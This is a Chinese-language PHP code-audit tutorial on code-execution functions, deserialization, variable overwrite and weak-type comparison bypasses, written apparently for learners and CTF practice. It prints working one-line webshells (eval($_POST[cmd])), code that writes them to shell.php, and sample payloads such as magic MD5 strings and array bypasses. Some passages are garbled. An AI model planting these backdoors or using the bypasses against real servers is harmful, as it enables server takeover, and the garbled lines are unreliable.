通过源代码,知道代码如何执行,根据代码执行中可能产生的问题来寻找漏洞

渗透测试->找漏洞bug->技术、衔接问题

代码执行漏洞

PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞

漏洞形成原因:客户端提交的参数,未经任何过滤,传入可以执行代码的函数,造成代码执行漏洞。

常见代码执行函数:eval()、assert()、preg_replace()、create_function()array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()文件操作函数、动态函数(b))

漏洞危害:执行代码,写入webshell、控制服务器

1、eval()

eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:



<?php eval($_POST[cmd])?>



<?php
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>


php 代码可以在双引号中被执行



<?php
//?cmd=${phpinfo()}
$str=$_GET['cmd'];
eval('$str="'.$str.'";');
?>



<?php 
//cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>


2、assert()

与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:



<?php //?cmd=phpinfo()assert($_REQUEST[cmd]); ?>


3、preg_replace函数

mixed preg_replace ( mixed replacement , mixed limit = -1 [, int &$count ]] )  搜索subject中匹配pattern的部分, 以replacement进行替换。

preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace()将 replacement 参数当作 PHP 代码



<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>



<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等价于
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>


4、create_function()

create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递



<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>


5、array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。



<?php
//func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>


6、call_user_func()/call_user_func_array () 

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。 

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数



<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>



<?php
//cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>


7、array_filter()

array array_filter ( array callback [, int $flag = 0 ]] ) 

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。



<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>


8、usort()、uasort()

usort() 通过用户自定义的比较函数对数组进行排序。 

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。



php环境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();



php环境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();


9、文件操作函数

file_put_contents() 函数把一个字符串写入文件中。 

fputs() 函数写入文件



<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>


10、动态函数

PHP函数直接由字符串拼接

<?php //?a=assert&b=phpinfo()$_GET['a']($_GET['b']);?>



<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>


反序列化漏洞

序列化目的:将内存中的数据保存到磁盘,序列化又叫对象持久化。

serialize() 序列化:使用函数serialize()可将实例序列化为字符串

unserialize() 反序列化:使用函数unserialize()可将序列化的字符串还原

代码审计_json

1.序列化的利用



<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}unserialize($_['code']);
?>


构造漏洞利用的代码,保存为test.php,获取序列化值为 O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}



<?phpclass Example {
var $var = 'phpinfo();';
function __destruct() {
eval($this->var);
}
}
$a=new Example();
echo serialize($a);
?>


提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} 即可执行phpinfo()

 代码审计_php_02

 

2.PHP SESSION反序列化

 

ini_set(‘session.serialize_handler’, ‘php_serialize’);

ini_set(‘session.serialize_handler’, ‘php’);

两者处理session的方式不同



<?php
ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION["test"]=$_GET["a"];?>
//提交?a=1111



输出结果:
php_serialize: a:1:{s:4:"test";s:4:"1111";}
php: test|s:4:"1111";


变量覆盖漏洞

变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击。

经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数,import_request_variables()使用不当,开启了全局变量注册等。

1.$导致的变量覆盖问题


$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。




<?php
//?name=test
//output:string(4) “name” string(4) “test” string(4) “test” test
$name=’thinking’;
foreach ($_GET as $key => $value)
$$key = $value;
var_dump($key);
var_dump($value);
var_dump($$key);
echo $name;
?>



2.extract()函数使用不当

extract() 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 



<?php 
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array); 
echo "\$a = $a; \$b = $b; \$c = $c";
?>
//运行结果:$a = Cat; $b = Dog; $c = Horse


示例



(1)文件将GET传参进来的值用extract()函数处理
(2)如果gift非空,令content变量等于test变量,trim()函数对test变量首尾去空,如果gift变量等于centent变量,就输出flag,否则,输出错误
(3)如果我们传参gift=1&test=1,就可以覆盖原来的test,直接输出flag

<?php
$test = ******;
extract($_GET);
if(isset($gift)){
$content = trim($test);
if($gift == $content){
echo 'flag is:'.$flag;
}
else{
echo error;
}
}
?>


3.parse_str()变量覆盖

parse_str():将查询字符串解析到变量中。如果在parse_str()中可以直接传参,有可能覆盖变量。



<?php
parse_str("name=zkaq && age=60");
echo $name."<br/>";
echo $age;
?>

#输出akaq和60
#相当于完成了$name ='zkaq'和$age ='60'


4.import_request_variables变量覆盖


mport_request_variables 函数可以在 register_global = offff 时,把 GET/POST/Cookie 变量导入全局作用域中




<?php
import_request_variables("g", "get_");
echo $get_id;
?>
//提交:?id=111
//结构:111


5.全局变量覆盖


register_globals的意思就是注册为全局变量,所以当On的时候,传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它。




<?php
//?id=1
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";
echo '$_GET["id"] :'.$_GET['id']."<br/>";
echo '$id :'.$id;
?>


当register_globals=Offff的时候,下一个程序接收的时候应该用$_GET['id']来接受传递过来的值;


当register_globals=On的时候,下一个程序可以直接使用 来 碟 受 值 也 可 芵 用 _GET['id']来接受传递过来的值。


如果上面的代码中,已经对变量赋了值如,id=0,那么即使在URL中有/test.php?id=1,也不会将变量覆盖,id值为0




<?php
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a."<br/>";
print $_GET[b];
?>


在register_globals=ON时,


提交/test.php?a=1&b=2 , 变量a未初始化_GET[b]=2


提交/test.php??GLOBALS[a]=1&b=2,_GET[b]=2


php弱类型

php弱类型函数:md5(),    json_encode(),   array_search(),  strcmp(),  switch()  ,in_array()  

md5 绕过{hash 比较缺陷}


PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,在进行比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。




md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')


MD5不能处理数组,若有以下判断则可用数组绕过:




if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/test.php?a[]=1&b[]=2//$_GET: array(2) { ["a"]=> array(1) { [0]=>
string(1) "1" } ["b"]=> array(1) { [0]=> string(1) "2" } }


json绕过



<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>


输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于$ key的值,但是$ key的值我们不知道,但是可以利用0==“admin” 这种形式绕过

最终payload message={“key”:0}

array_search is_array绕过

array_search() 函数,在数组中查找一个键值。如果找到了该值,则返回匹配该元素所对应的键名。如果没找到,则返回 false

strcmp()


strcmp() 函数比较两个字符串,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


先将两个参数先转换成string类型


当比较数组和字符串的时候,返回是0


如果参数不是string类型,直接return




<?php
$id=$_GET['id'];
if (strcmp('test',$id)) {
echo 'YES!';
} else{
echo 'NO!';
}
?>
//提交:?id[]=
//结果:YES


switch()



<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo "sucess"; //结果输出success;
break;
default:
echo "failall";
break;
}
?>


分析 : 在进行switch 选择时 $a会被强制转换成整形进行对照

所以 令$a="4asdfs" =int(4)成功进行绕过

in_array()

in_array() 的定义是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict参数没有提供,那么in_array就会使用松散比较来判断 $needle 是否在 $haystack 中。当 $strict 的值为 true 时,in_array() 会比较 $needls 的类型和 $haystack 中的类型是否相同。如下:



$array = [0, 1, 2, '3'];
in_array('abc', $array); # true
in_array('1bc', $array); # true